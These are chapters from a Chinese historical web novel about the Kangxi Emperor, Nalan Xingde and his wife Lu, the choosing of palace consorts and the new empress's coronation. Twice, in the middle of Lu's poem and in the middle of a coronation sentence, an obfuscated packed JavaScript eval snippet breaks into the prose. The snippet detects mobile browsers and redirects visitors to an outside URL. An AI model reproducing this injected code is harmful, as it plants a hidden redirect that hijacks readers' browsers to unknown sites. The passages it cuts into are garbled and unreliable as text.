“回宫以后,你去给敬事房传朕的意思,就说:朕在纳了新人之后,一样对六宫雨露均沾。翻牌子之事,还是照着规矩到了时辰就来提醒朕。” “奴才,都记下了。会叫敬事房派人晓谕六宫。” * 玄烨一行人来到明府。 依旧是没有叫看门的家丁去同传明珠。 玄烨轻车熟路地往纳兰性德的藏书楼“通志堂”走,曹寅和顾问行一左一右跟在后面。 等到走近目的地,玄烨看见的是:纳兰的正妻卢氏在外头打理晾晒的竹简。 玄烨带着些讽刺的意味:“如今是纸本不够纳兰读了,要竹简来凑吗?” 曹寅应道:“人的偏好总有变,皇上您要看竹简,皇宫里也有。但奴才不去搬,免得太占养心殿的地儿。” 玄烨上前,听见了卢氏的请安之语。 “奴才卢氏给皇上请安,皇上吉祥。” “你见朕到来,倒是一点都不意外不惊慌,也不马上叫人去告知明珠和觉罗夫人。” “公子温书需要安静环境,奴才不想做多余的举动来扰了公子。” “朕,此刻就到里面去看看纳兰——” 玄烨身为九五之尊,平日我行我素惯了: 每去一处,有管事的公公们为皇上摆架开路;每到一处,都可听见“皇上驾到”的恭迎之言;每从一处离开,无人不是礼貌地“恭送皇上”,礼仪端正。 偏是此次此刻,纳兰的正妻卢氏却是挡在圣家之前,不做让步。 玄烨眉头一皱,心想:纳兰平日里怼朕几句,朕可以怒过之后饶恕;眼前这个妇道人家,竟敢阻拦朕的脚步? 曹寅向卢氏投去了一个“得罪皇上,罪及全家”的眼神,对卢氏道:“正夫人莫要碍着皇上,君臣情份终究是在夫妻情份之上,你应退到旁侧静候才是。” 卢氏大胆道:“皇上此次出行,不为国家大事,只为登入明府来消遣公子,算不得是有正事。所以奴才——”她一抬头,直视康熙皇帝的眼睛,“才不曾想让皇上通过此处。” “你的意思是:纳兰在看古书,朕打扰到他了?”玄烨不快,“你这是目中无君你知道吗?” 卢氏铿锵道:“知道,但奴才不怕皇上怪罪、治罪。” 此时,从“通志堂”内传来了纳兰的声音。 “尔谖,秦汉竹简果然跟后世的纸本不同,触之怀古,阅之通古,思之论古,却能悟得一些古今相通的东西。尔谖,你进来看看这一简——” 玄烨眉毛一挑,回头:“顾总管,你进去给朕通传!朕看纳兰是明明听见了外头的声音,还故意说出这番话来无视朕!” 正在顾问行犹豫时,卢氏道:“公子不是知道圣驾到来还摆弄姿态不见驾之人,他是真正沉侵在书简里,才会这般毫无顾忌地隔着一道门朝外对尔谖说话。” “纳兰不只是你的夫君,也是朕的臣子——”玄烨看着眼前女子,“你最好记清楚这一点。” “皇上既然把尔谖的夫君视为臣子,就应该明明确确地给夫君安排职位,而不是一直让夫君赋闲在家、却依旧维系着皇上心中的近臣身份。” 玄烨没想到卢氏敢顶嘴,就大声道:“曹寅,你进去把纳兰给朕叫出来!” 曹寅比顾问行利索,只见他绕开卢氏,立刻就往“通志堂”的正门去了。 纳兰以为是爱妻进来,才叫了声“尔谖”,就发现是曹寅。 “怎么是子清?” “不止是我,皇上也在外头侯着呢。”曹寅好声提醒,“兄台你专注归专注,可知道为了成全你的这份专注,卢氏夫人跟皇上僵持上了。” “啊?”纳兰焦急,慌忙放下竹简,起身向外。 * 纳兰来到玄烨面前,请了安,然后问:“皇上要是派人事先打声招呼,此刻就已经在渌水亭跟我说上话了,何必惹出这一场不必要的是非来?” 玄烨对卢氏说了三个字:“你去吧!” 然后就用眼神示意,让纳兰和曹寅跟着自己往渌水亭方向走。 等到那三人的身影消失,顾问行对卢氏夫人道:“万岁爷这么通情达理,真是难得。正夫人应当理解和谢恩才是。” “是,请总管大人代为转达:奴才卢氏谢皇上不罚之恩。” “这就对了。”顾问行说起了人情世故,“万岁爷怎么会买正夫人你的面子呢?正夫人说再多和做再多都是于事无补的,万岁爷只是照顾纳兰公子的心情和雅趣罢了。正夫人,你可要好好地把一切都看清和理清了。” “多谢顾总管提点。” “我也不便在此地久留。”顾问行心善道,“正夫人一心为了纳兰公子好,我跟曹侍卫都看在眼里,可皇上毕竟是皇上,皇上觉得自己对侧臣纳兰性德的恩遇胜过作为正妻的你,那你就要认命,不可跟天子力争。” “是,尔谖都会反省记下。” 顾问行看向明珠夫妇的房间,道:“正夫人是时候去把皇上驾到的消息,告知明珠大人和觉罗夫人了。” 卢氏询问:“那方才之事——” 顾问行应道:“简要地说明就好,总归是万岁爷已经不怪你了,明珠大人也不会多说什么。” “尔谖这就过去。”卢氏遵着礼仪,“顾总管您先请——” 走向明珠夫妇房间的途中,卢氏是有些恼自己的。 自己出于一份真情,自然而然就不忍任何人破坏容若的清净,自己深深知道,容若之喜好:在于一盏茶、一束花、一卷书、一词歌。 容若的闲适,不可说是自生,而应说是自寻; 容若的专注,不可说是全念,而应说是全神; 容若的无防备,不可说是物我两忘,而应说是自在神游。 卢氏忍不住驻足,回望了去往渌水亭的道路一眼。 却又匆匆将目光收回,一份沉甸甸的记挂,在她心中。 正是因为跟容若结为夫妻将近两年有余,对容若了解的越发深刻,才会不顾一切、勇往直前。 哪怕对容若而言,最大的靠山和最大的压力都是康熙皇帝,她也不惧前路,愿与他一同面对风风雨雨。 卢氏在心中盘复着,见到明珠和觉罗夫人之后,一定要告知他俩: ——尔谖呵护夫君之心是错,触犯皇上之心也是错。 ——两错相抵相错方消,但求自己心安、无愧公子。 后来,在《明珠家事》之中,记载了卢氏所作的一首心情小笺: 人在意境中,境外人不扰。 既已阻圣驾,后才觉秋毫。 何当与若言,此心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781631|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非蓬蒿? 春光知明媚,相对再思韬。 此非诗,却句句在情中。 细品之,共感自然而生。 * 渌水亭长廊上,君臣共同面对一池春荷而立。 曹寅道:“奴才只见得今日场景,而见不得后人捏造。像是:卢氏夫人如何在康熙皇帝面前据理力争、以死相逼,关键时刻纳兰性德挺身救妻的狗血桥段,也就只能出现在野史或是三流剧作家的话本子当中。” 玄烨笑而不语,看向纳兰。 “就只当作我是最大的导火索好了。”纳兰优雅地投出几粒鱼饲料,“皇上既然已经知晓了卢氏的纯粹,也该不把今日她的表现当作是冲动犯驾了吧?” “那要看你是否值得朕消气。” “皇上的气早消了。”纳兰乐观地看着前方,“跟我呈君威罢了。” 玄烨夺过鱼饲料的盒子,“你不是不怎么喜欢卢氏吗?怎么,一旦陷于情就出不来了?朕告诉你,妻子对夫君好、毫无杂念地向夫君付出,都是本份是责任,不是叫人感动、令人欣赏的点。” 曹寅插嘴:“皇上后宫佳丽无数,纳兰身边只有卢氏和颜氏。因此纳兰用情深,也无可厚非。” “朕可是清清楚楚地记得,纳兰动过‘要不是官氏云辞不嫁纳兰,那他宁愿娶官氏也不娶卢氏’的念头。纳兰你自己说,朕有哪一个字是错栽了你吗?” 纳兰半咬唇一应:“没有。” 玄烨旧事重提:“多亏了太皇太后懿慧做主、明珠积极响应,才促成了今时今日你所经营的好姻缘。说到底你与卢氏现在的鹣鲽情深,还是托了指婚的福。” 纳兰忽然变得认真而耿直,直面康熙道: “什么父母之命、懿恩之言?皇上说的什么话?卢氏是我纳兰性德自己愿意娶进门的,不是听从谁的安排才娶的。” 冷风中,康熙皇帝慢慢走向石桌。 “要是朕的后宫的嫔妃们,也能像你的妻妾一样不争风吃醋就好了。不是朕不懂的兼顾后宫,而是朕深感自己的魅力和魄力都不及嫔妃们心目中的第一男子,以至于拿出‘政务繁忙,无暇顾及’这八个字来当借口,逃避家事之责。” 纳兰挪动了桌面上水仙的白瓷底盆的位置,让开的最好的花朝向康熙皇帝。 “第一男子跟大清天子大有不同,前者是存在于女子心目当中的幻想与梦想,后者是既定的不曾改变的事实,皇上总不能剥夺了嫔妃们纹梦的机会吧?所以皇上不必多猜女子心事。” 此时,明珠夫妇前来。 “臣明珠给皇上请安,皇上吉祥。” “起来吧!朕今日来,只是想看看你儿子在忙什么,无它。” “回皇上,容若近期正将个人词集《饮水词》和《侧帽集》整理出版,等到刊印好了,臣一定携子将成品进献皇上。” “朕要是下旨要纳兰的手抄稿呢?” “臣遵旨,会教导容若重新誊写词稿、且亲自装订好给皇上。” 纳兰有些庆幸,毕竟康熙皇帝没要原稿。 大抵是自己的心情有被康熙皇帝考虑到的。 * 康熙皇帝满意一笑。 信步走向通志堂。 明珠夫妇叫了儿子跟上,并不晓得康熙皇帝二度折回书楼的目的。 纳兰并未觉得有什么不妥,估摸着皇上不是入内参观就是在外赏花,不会做出翻天覆地的命令来。 “朕决定给纳兰家一个恩典。” 康熙皇帝说罢,就叫顾总管到里面都拿大张的好纸和大厚度的毫笔。 明珠机灵地一反应:皇上这是要题字或是作诗啊! 就赶紧地吩咐了家丁去搬桌子过来,恭敬地请皇上稍后片刻,桌案立马到位。 容若看着进进出出的家丁,看着眼前晾晒着的书一本一本、一简一简被收起被拿入室内,心中莫名。 ——如果说“赌书泼茶”是自己跟卢氏之间的日常乐趣,那么晒书温书,也是夫妻之间的默契小情调。 ——这会儿皇上往通志堂门口的正中心位置一站,门坪就立刻换了样,是说也说不得,阻止也阻止不得,只能顺其自然。 容若来到平常卢氏站着的位置,静默地看阿玛明珠对皇上说话,皇上在阿玛的一套套话术之下,笑逐言开,春风得意,心情甚好。 容若不知此时卢氏在何处,心中却是不自觉地想着她念着她,打算今晚再她说说今日之事。 ——尔谖的善解人意,其实是一直存在的,从未改变过。 ——只是我……只是我从一开始的执拗与抵抗之中,错解了她的真心,错将她的真诚付出当成了苦心讨好,才会对她相敬如宾。现已共处两年有余,彼此都了解愈深,才会牵绊不止。 “臣明珠恭请皇上御笔书就——” 阿玛的声音在耳边响起,纳兰按照君臣之礼,站到了君侧。 康熙皇帝大笔一挥,写下了四个大字: “以后,这个‘通志堂’就改名叫‘花间草堂’了。” 曹寅和顾问行一左一右把皇上的御笔亲题拿起,展示在明珠父子面前时,康熙问道:“纳兰,你有什么异议没有?” “没有,谢皇上题字。” 言罢,纳兰就随着阿玛和额娘一块,对康熙皇帝谢了恩。 * 明珠在明府众人面前,伸出双臂接过了那幅字。 “臣明日就带着皇上的墨宝进宫去,请了最好的匠人雕刻成匾额,高悬于原‘通志堂’处,让府中上下共沐圣恩!” “都起来吧!”康熙皇帝扬手。 “朕选择‘花间草堂’四个字,含义是:纳兰性德之心,纤尘不染、灵性彻纯,当有一处:‘窗前云影疏,花间待友来’之所。” “皇上用意深刻,臣深深受教。” 明珠边说边拉过儿子,也不顾儿子是否心里有数,就自作主张、逢迎于康熙皇帝道:“臣现令容若作词一首,报谢皇恩!” 康熙皇帝往桌案一指:“纳兰,你动笔吧!” 纳兰性德才高,当即写下《满江红·谢圣恩御笔》一首。 问我何心,已换却、旧额新匾。可学得、海鸥无事,闲飞闲宿。百感都随流水去,一身还被浮名束。误东风、迟日杏花天,红牙曲。 尘土梦,蕉中鹿。翻覆收,看棋局。且耽闲殢酒,消他薄福。雪后谁遮檐角翠,雨余好种墙阴绿。有些些、欲说向寒宵,西窗烛。 【注1】出自《纳兰词》 康熙皇帝对纳兰词中的“端倪”并不追究。 只拍了拍自己的侧臣的手背,道:“明日你随明珠一并进宫来,朕有要事与你商谈。” 161.第161章 秀女大选之日,草长莺飞,景和明丽。 康熙皇帝、太皇太后和皇贵妃钮祜禄氏一同,端坐高处,等待新人们依次来见礼和受选。 梁九功长了记性,晓得万岁爷面对“莺莺燕燕”的时候,脾气是最难捉摸的,就自请留在养心殿候驾。总管大太监顾问行也是如此,跟徒弟一同在皇上的办公地等着,不参合选秀的场面。 这便是苦了领差事的司礼大太监秦三德,此时此刻,秦公公正连连喊着:“……,留牌子,赐香囊;……,撂牌子,赐花。” 选秀还进行着,太皇太后忽然打断:“行了,皇上你消停消停,选秀女不是赶时间而是在为你自己延续香火,你身为一国之君,岂能草率?” 为了维护皇帝颜面,太皇太后很快又将过错转移到了司礼大太监身上,责备道:“秦公公,你也不必唱大戏似的一句接一句了。” 秦三德只得打了自己一嘴巴,担了罪名道:“奴才知罪。” “罢了。” 见秦公公知趣地自我领了罚,太皇太后也不再追究。 她重新看向那些个个标致的秀女们,等着康熙皇帝的态度。 秦三德后退了一步,一边观察太皇太后的神色,一边等待万岁爷的反应再喊话。 “孙儿听从皇阿奶意思。” “好,皇帝,你继续挑、好好挑吧!” 接下来,玄烨一改先前的走马观花,仔细问了几个自己钟意的秀女问题以后,才决定她们的去留,孝庄有所宽心,皇贵妃钮祜禄氏则像是一尊摆设品雕像一样,没有说话的份儿,只被众秀女们瞻仰“将来皇后”的凤颜。 除了几个必选的重臣的女儿之外,玄烨也辨明了利弊,用不着孝庄有意无意的暗示,他自己就主动在满蒙汉三籍当中,都挑选了合适的女子, * 佟国维之女佟佳·景茵珠出现在玄烨眼前的时候,玄烨双眼一亮,才发现景茵珠本人比画像还要漂亮许多。 粉面灵灵,宛如桃花;双眸清清,似剪秋水。 鼻翼自由,浑然天成;唇若樱桃,绯红水润。 更有曼妙细腰和纤纤素手,好一个从画中走出的美人儿。 玄烨神魂一怔,竟忘乎所以,直到景茵珠开了口,才回过神来,知道自己正在挑选嫔妃,而非与新入心扉的女子相忘桃源。 “佟国维之女景茵珠,参见皇上、太皇太后、皇贵妃娘娘。愿皇上龙体安康、太皇太后笑口常开、皇贵妃娘娘吉祥如意。” 玄烨悦言问她:“平时你都看些什么书?爱做些什么?” 景茵珠有条不紊道:“回皇上,奴才平时爱看史书和大唐才子王维的诗,爱做些绘画与鉴画之事。” 玄烨又问:“你以为我大清第一才子纳兰性德跟王维比如何?” 景茵珠认真一思索,道:“才学平分秋色,只是在绘画和悟禅方面,王维胜过纳兰公子。” 玄烨微笑道:“你自比才女谢道韫、李季兰、薛涛、李清照如何?” 景茵珠微低头,谦虚而不失娇慧道:“奴才只敢与古往以来的才女子们比心志与一生幸福,不敢自论才学高低。奴才佩服谢娘的咏絮之才、李冶的八至之思、薛涛的女史之能、易安的流离之骨,唯愿一心一意待一人,集合‘才思能骨’四样,一辈子为夫君倾尽所能。” 这话让玄烨心情大好,若是自己能得一个“聪慧且貌美、心意真且肯全付出”的妃子,正是身为帝王的一大幸事呀! “是个知书达理、且有教养懂规矩的姑娘。”孝庄满意道,又问景茵珠,“满蒙汉三语,你都懂得几样?” 景茵珠诚实道:“回太皇太后,阿玛从小教导,奴才满蒙汉三语都有习得,能读能说能写。” 孝庄再问:“后宫之中,各嫔妃的家势背景和性情各有不同,你可愿与人友好相处?多做些利己利人利于皇上之事?” 景茵珠坚定地一点头,露出“做保证”的神情,道: “奴才若能进入后宫,一定好好体贴皇上、孝敬老祖宗。奴才还年轻,诸多规矩难免不周、为人处事难免欠妥,都是要老祖宗和各位姐姐教导着的。奴才一定认真学、认真记,不求表现出彩、但求步步无错,为皇上为大清尽己所能尽的责任。” ——先表明心迹,再起誓言。 ——步步递进,前后衔接,可见佟佳氏是个能在后宫“生存下去”和“生存的好”的女子。 佟国维之女回答的巧妙,孝庄对之亦是心里有数。 孝庄点了点头,向玄烨:“皇上,我看佟佳氏极好,才貌双全,不像别人一样只爱读纲常伦理之书和做女红之事。佟佳氏的性格也温婉,定是像王维一样素心对月、清泉叩石的,是位该你选入后宫的佳丽。” “朕正有此意。”玄烨顺着孝庄的意思,“佟佳氏是个可心之人。” “佟佳·景茵珠。”秦公公醒目地高喊,“留牌子,赐香囊。” “奴才谢皇上、谢太皇太后、谢皇贵妃娘娘。” 景茵珠从一个太监手中接过“七彩福运”香囊,满心欢喜。 * 延禧宫。 惠妃坐在主位上,边看边听其她宫殿的主位和小主们嚼舌根子。 有些场子和有些话,是她管束不来的,也是她不得不听的,只是这样的光景大抵也不会多:秀女大选和册立新皇后这两件大事,先后到来。 成妃道:“今日外头可是热闹了,咱们里头的人,也唯有聚在一起说说话,才算得上是同喜同乐。” 平贵人抚摸着护甲道:“倒是那些在景仁宫当差的太监宫女们,主子是换了一个又一个,也不知道是跟着享福呢?还是在心里苦喊遭罪。” 宣嫔话里有话,道:“主子倒是认得的,只是把生疏的面孔往熟悉去看罢了。这人心呐,尤其是下人心可是对冷暖最敏感的。” “原本选上了的秀女,是要先回家等候一段时间,待位分和封号都拟定了以后,才由专门的嬷嬷领着入宫来住的。可是臣妾听说,景茵珠……啊,不,该成她为‘意妃’了,竟然是由嬷嬷直接领着去景仁宫熟知环境的。” 说了这一大通话,成妃颇是不甘心:“你们说,规矩都给意妃破了,皇上眼里还有咱们这些老人吗?” 宜妃提点道:“这世上不公平的事情多了,要是件件都往心里记,谁饶得了谁啊?” 成妃用绢子擦了擦脸颊,半抱着委屈道:“真感觉连春风都是冷的,吹得脸颊发疼,抹了上好的脂粉都不管用。” 平贵人偏是往成妃的痛处戳:“皇上今夜和接下来的一个月,肯定都是去瞧新人妹妹们的,姐姐你打扮这么活色生香,是给谁看呢?” 成妃被这话一气,反而让自己的内心强韧起来了。 她倔强地一扶缀着流苏的精细翡翠钗子,坚毅道:“本宫就是孤芳自赏,也比那些不敢打扮、自己长了新人妹妹们的老人们强。” “都少说几句吧!”惠妃总言道,“大家都是有自知之明的,一枝独秀不是春,百花争艳才姣好,只要把心向这皇上,恩宠雨露总会有的。” 说罢,惠妃起身,“各位妹妹,不如一同去御花园逛逛吧?世上没有永生花,大自然造出来的花却是稀罕着人去赏的。” “还是惠妃姐姐心态好。”荣妃第一个追随,“咱们看花,也就多了个‘争艳无用’的理儿。人与花相似,垂怜皆自求。” 成妃渐渐熟了心,赔笑道:“先看花再看新人,这心里头的确是好受些。” “走吧——” 惠妃向外,其它各宫的嫔妃们也一并跟了上前。 * 钮祜禄氏从“皇贵妃”晋升为“大清国皇后”的正式大典之日,皇宫之内,喜气洋洋,声乐高奏,一派朗朗庆贺的景象。 后宫之中,各宫主位都是已经准备好了贺礼和道喜的话,就等着册封皇后大典结束以后,恭迎中宫之主凤驾归来,齐齐在坤宁宫外向皇后娘娘行三跪三拜之礼。 康熙皇帝站在太和殿门口,英姿风发,睥睨天下。 他的侧臣纳兰性德,此刻正奉命站在阿玛明珠身边,与其他诸位朝廷命官一同,见证“立后大典”的始末。 要问康熙皇帝心中在想什么? 他不是追思先皇后赫舍里的好,也未满怀对新皇后钮祜禄氏的期待,而是将脚下的一片人潮和阵势,假想成了自己彻底剿灭了三藩之后的庆功大典现场: 锣鼓喧天、礼炮齐鸣、司礼大太监的九威节鞭高甩、众人仰望着九五至尊……声之震九天,皇威无穷;炮之入苍穹,天子威赫;鞭之动乾坤,江山万年;群臣之折服,帝王功在千秋。 ——朕的宏图伟业,远比大清国再添一位国母重要。 ——朕的雄心布武,胜过大清后宫百花争艳度春宵。 康熙皇帝看向纳兰,君臣的眼神正好交汇。 静默之中,他问他:纳兰你说,朕今日威风吗? 会意之处,他回应他:皇上日后站在这里,会远远比今日更威风! 红色的地毯仿佛不见尽头,由远及近的人影却越来越清晰。 ——钮祜禄氏。 康熙皇帝在心中念了一遍新皇后的姓氏。 ——朕连你的名字都不知道,脑海里只剩下一个自己为你挑选的封号:昭。 康熙皇帝觉得可笑,可笑之人,是他自己。 击鼓之声,由缓转中,由中转快; 长角之音,由短转中,由中转长; 长鞭之速,由慢转中,由中转速。 康熙皇帝用自己的视觉、听觉、嗅觉仔仔细细感受着这一切。 往事却是慢慢交织在胸中: 之前迎娶辅政大臣索尼的孙女赫舍里为嫡妻,朕还不算是个成年男子,只将规矩都记在心中,从头到尾履行了一遍,没出意外没出错,就算作是礼成了; 赫舍里封后那一日,也是在三月份,她年纪小却稳重,她就这么一步一步地走到了朕身边,与朕执手、与朕盟约、与朕各自承担“治理天下”和“母仪天下”的责任。 那一天与今日的不同,仅仅是朕身后已经没有太皇太后吗?不是。 一切早已时过境迁,不负可追;烟云易散,指尖流沙,难以握就。如斯矣。 康熙皇帝向前迈步一步,准备迎接新皇后。 新皇后在距离康熙皇帝约一百米处而跪,端仪道: “臣妾遏必隆之女钮祜禄氏,承泽天恩,即位中宫,母仪大清,必谨遵太皇太后教诲、谨记后宫宫规,恪尽职守,与六宫共同为皇上分忧、为大清尽薄力。臣妾叩谢天恩,叩谢皇恩。” 复向康熙皇帝伏地一拜过后,新皇后起身,顺着左侧阶梯登上太和殿正门,站到了康熙皇帝右侧。 礼部尚书站出来,高朗道:“臣等恭祝皇上皇后,同盼大清国运昌盛!” 司礼大太监秦三德拖长了调子,大声道:“百官行跪礼——” 百官齐声道:“皇上万岁万岁万万岁,皇后娘娘千岁千岁千千岁。” 司礼大太监再度大声道:“百官行叩首礼——” 众文武齐齐向康熙皇帝和新皇后叩头三次,“帝后同心,大清万福;帝后永结,江山永固;帝后白首,长长久久。” 司礼大太监最后一度高喊:“百官礼毕,兴——” 纳兰性德也在异口同声中,说出了:“恭喜皇上恭贺皇上,恭喜皇后娘娘恭贺皇后娘娘。” 康熙皇帝携手新皇后钮祜禄氏,面向百官。 “朕,中宫有主,与新后一同各主内外,唯愿四海升平、天下安定、万民同乐。朕,深感新后钮祜禄氏贤德,择其令主坤宁,尔等众臣,需竭力尽己之能,多为能为之事、多做能做之举,以清正之身立朝堂,让朕殿上无忧,后宫谐好。” 新皇后的册立大典,就是在康熙皇帝的这番话中迎来了最高潮。 这对天子而言,是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786405|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己婚姻之路上的一个新起点,能解后宫万难; 这对大清而言,是国势与国运的新走向和新动向,需谋定而后动。 * 站了一天,累了一天。 纳兰父子终于得以打道回府。 “阿玛,如今后位安定,后宫也添了新人,太皇太后应是放心了。” “虽说你的前途不是阿玛能定的,但阿玛也盼着你早日领份好差事,好对纳兰氏一族的祖上有所交代。” “真的领了要职,居家的时间必然少,陪伴额娘和妻妾的时间也少,日日行径与阿玛您相似,又让家人们添了寂寞。” “你啊……身不由己。”明珠拍了拍儿子的肩膀。 “从心所欲儿固然是不能,唯独庆幸自己的词作上面得心应手,驰骋着自己的独立境界。” * 深夜,宫灯静谧。 惠妃半躺在单人软榻上,盖着一张毛毯,让贴身宫女远黛垂肩解乏。 惠妃用羊脂玉修滚着侧脸,缓神了好一会儿,才道:“咱们不是‘起早贪黑’的嫔妃们都已经累成这样,也真是难说皇后娘娘是否已经倦的睁不开眼、迈不动脚。” “今晚按照规矩,皇上是要在坤宁宫跟皇后娘娘同床共枕的。“远黛道,”皇后娘娘再如何辛劳,也不敢在皇上身边表现出来。“ “本宫封妃的仪式倒是不会繁琐,但也是受了皇上和太皇太后的重视,一点不敢马虎。那些礼仪,关键之处全在于妃位的册宝和吉服,接过那些证明位分的物件之后,给传旨的公公赏钱、让传旨的公公代为谢皇恩,也就算是告一段落。” 惠妃一面自我审视、一面参合别人的心思,继续道: “其它各宫的嫔妃们之所以会羡慕会嫉妒立后之事,无疑是立后叫‘册立’,封妃叫‘册封’罢了,二者便是引出了一个大区别:册立皇后要昭告天下,只有一位;册封嫔妃全凭皇上拿主意,数量不定。” “是呢。”远黛道。 “立后可谓是要造势出‘普天同庆’的效果,恩诏要传达给天下百姓、八旗亲贵、皇室宗亲,还要修缮庙宇、大赦天下。而且在三大节庆:千秋节、中秋、元旦之日,皇后会收到朝廷命官的贺笺,其余位分的主儿们都是不惧资格的。” 惠妃闭目养神。 窗外有夜花的淡淡香味飘入,她轻轻嗅着,宛入梦境。 梦中,是初入皇宫的自己,身上背负着纳兰氏一族的责任和使命,虽是少女却早已不再单纯。 梦深而未醒,这一路走来,经历了太多等闲易变的帝王心和无可预测的风风雨雨,也见识了太多慈悲事和心机事,唯独是宫阙当中的砖瓦与砖地,色彩依旧,从未变过。 * 德嫔从宝华殿出关,重回永和宫之日。 她起的大早,用完简单的素善之后,便开始对镜梳妆打扮—— 匣子里面,都是贴身宫女墨心从她的宫殿之中拿过来的璀璨珠钗和配饰;织锦的包袱里面,装着一套粉艳绣蝶的旗装,与她身上的素衣对比鲜明。 德嫔对着镜子,双唇抿了抿色纸,如同一朵忽逢阳光的墙角之花一般,孤芳自赏。再将金钿钗子斜推进发髻中的那一瞬,她眨了眨眼睛,不禁觉得整个人都有了生气。 春风过,柳叶柔,风情万种。 扑腮粉,画蛾眉,妆毕衣就。 戴上护甲和手镯,将平底鞋换成花盆底鞋以后,德嫔竟然有种自己年轻了两三岁之感,不禁感慨: “人靠衣装,面带红妆,这八个字真是把女子的心思都说尽了。本宫体会的深,才会有重获新生之感。” “虽说本宫是自愿吃苦修行、为皇上为大清祈福的,但这青灯黄卷、功课礼佛、静念打坐之事重复的多重复的久了,心里还是会生出厌恶来的。所以,本宫的大好年华不可在此处继续消耗下去了。” 宝华殿大雄宝殿正殿。 添油灯,置香案,德嫔谢过金装大佛加持。 抚青莲,闻百合,德嫔许愿人似花永芬芳。 往回走时。 德嫔并走寻常的道路,而是与贴身宫女墨心一同,挑了少有人知的偏幽捷径而行,求得清净,也方便主仆说话。 “隆科多现在,别的本事本宫瞧不见,就是这份皇宫侍卫的差事他不马虎,把宫里宫外及相近处的密道、暗道、小路、秘径都探测和梳理的清清楚楚。” 德嫔笑了笑:“往大处去说,日后皇宫要是发生大火或是别的紧急状况,领着大家逃生的指挥使,还得是他隆科多。” 墨心提起了正事:“娘娘,这回的情报错不了,隆科多大人是真的负了伤,挨了漠北蒙古骑兵统领的一抽带刺马鞭。” “连这点御敌的功夫都没有,隆科多真是勇猛不足、败事有余!” 德嫔嘴上这么说着,心里却是有所记挂。 墨心拿出一物,递给自己的主子。 “隆科多大人托亲信带来一对他亲自从敖包取得的石头块儿,说是祈求娘娘在后宫平安、早生小阿哥。” 德嫔打开布包来看,似笑非笑,似喜非喜。 “敖包的石头和草原上的石头本宫也分不清,就姑且当作隆科多是真的有心。” “不知娘娘让墨心如何给隆科多大人的亲信回话?”墨心询问,“这会儿那名亲信还在宫中的某处隐蔽之所等着呢。” “隐蔽之所?”德嫔一笑,又把先前的话重复了一遍,“本宫就说,隆科多这皇宫侍卫还真是没白当,把皇宫里的机关暗道、旁门左道都摸的记得清清楚楚。” 又走了百余米路,德嫔终于道: “墨心,你将本宫从家乡带来的、乌雅氏祖传的金创药拿来,悄悄交给亲信带到北蒙古去给隆科多。” “娘娘心里,到底是念着隆科多大人的呀!” “本宫就当是为将来要出生的孩子积德、顺便给孩子求个缘份,但愿隆科多是有利于本宫的孩子的人。” 162.第162章 一日晨间,春光正好。 卢氏阁窗看见容若披着一件单衣睡在书桌上,便轻步踏入书房,来到了夫君身边。 她拿了桌面上的一把画扇来看,扇面之上,是半干的彩色墨痕;扇骨之上,是淡雅的檀香气息;扇坠之影,是交错的光彩溢美。 她坐在一旁,将画扇全方位展开,就得了一副出自容若之笔的、为爱妻所绘的《春和景明图》。 画作线条细腻,好似春蚕吐丝,飘逸优雅,知性天然,勾勒处,将生机与气息一并带出,引人入境,拨动心弦。粗细浓淡,百转千回,相得益彰,非妙笔而不可得,非才子而不可作,神彩与神韵俱佳。 图感色泽明丽,花蕊着黄,花瓣着粉,成双燕子着黑羽,岸边新柳着翠绿,不以碧洗蓝天为背景,而以烟波的淡渺之境为衬,好似无舟胜有舟,洛神已现湖中央,衣袂飘飘,玉肌透香,只待公子成章。 整体浑然天成,令人如在画中游,只惜春日好,流连而忘返;只愿景常在,百看不觉旧。 卢氏在心中自语:“万千风光纵赏时,妾与君,远游章;芳草流远,花开陌上,莺啼千里,心已密织千行。” 以往她只知道,容若亲自去不了的许多地方,像是各处的山川河流、名楼雅所、名胜古迹、异族秘境,就爱从张纯修的画作之中寻得一种“身临其境”之感,他说张纯修画的好、画的真,所以他才愿意像“置身其中”一般在画卷上题词。 今日她有了类似的感受,有些画境有些意趣,是现实之中不存在也去不了的,仅仅会出现在夫君的画笔之下、画扇之上。 ——两份“想去而不能去”的心情,两份“虚实交错”的无可奈何。 ——他从画境出现实,她从现实入画境,唯有扇面栩栩,见证寻常。 卢氏沉浸在扇中意趣,浑然不知时光已经过去半晌。 从清晨到近了午间,仿若一瞬,却是深思幽远,不计画外音。 “尔谖。”容若叫她。 “似远游而归。”卢氏回眸一笑,“一路好景,姹紫嫣红;一程明媚,不负韶光。” * 容若邀了爱妻往渌水亭长廊散步。 长廊的石桌之上,摆放着一瓶养在水里的迎春花,花枝细长而柔韧,鹅黄色的的花朵开的正好,还有暗香来。 “我昨晚是自己睡的,今日又起的早,就独自在书房画扇。”容若微笑着,“画扇不宜在秋季,秋惹偏思,颜料易暗,难获清丽;还是在三月份的好,一人对着折页也不觉孤寂,反倒能在画成的那一刻,倍感喜悦。” 卢氏轻拈花枝,有着美人映花的淑柔丽质之美。 容若看着爱妻,铺陈心事。 “我素来少在书房准备空白画扇,这回是边画边想着你,所以才一气呵成。尔谖你看,怪我昨晚睡得少,画扇画好以后,又再次伏案睡了过去。” 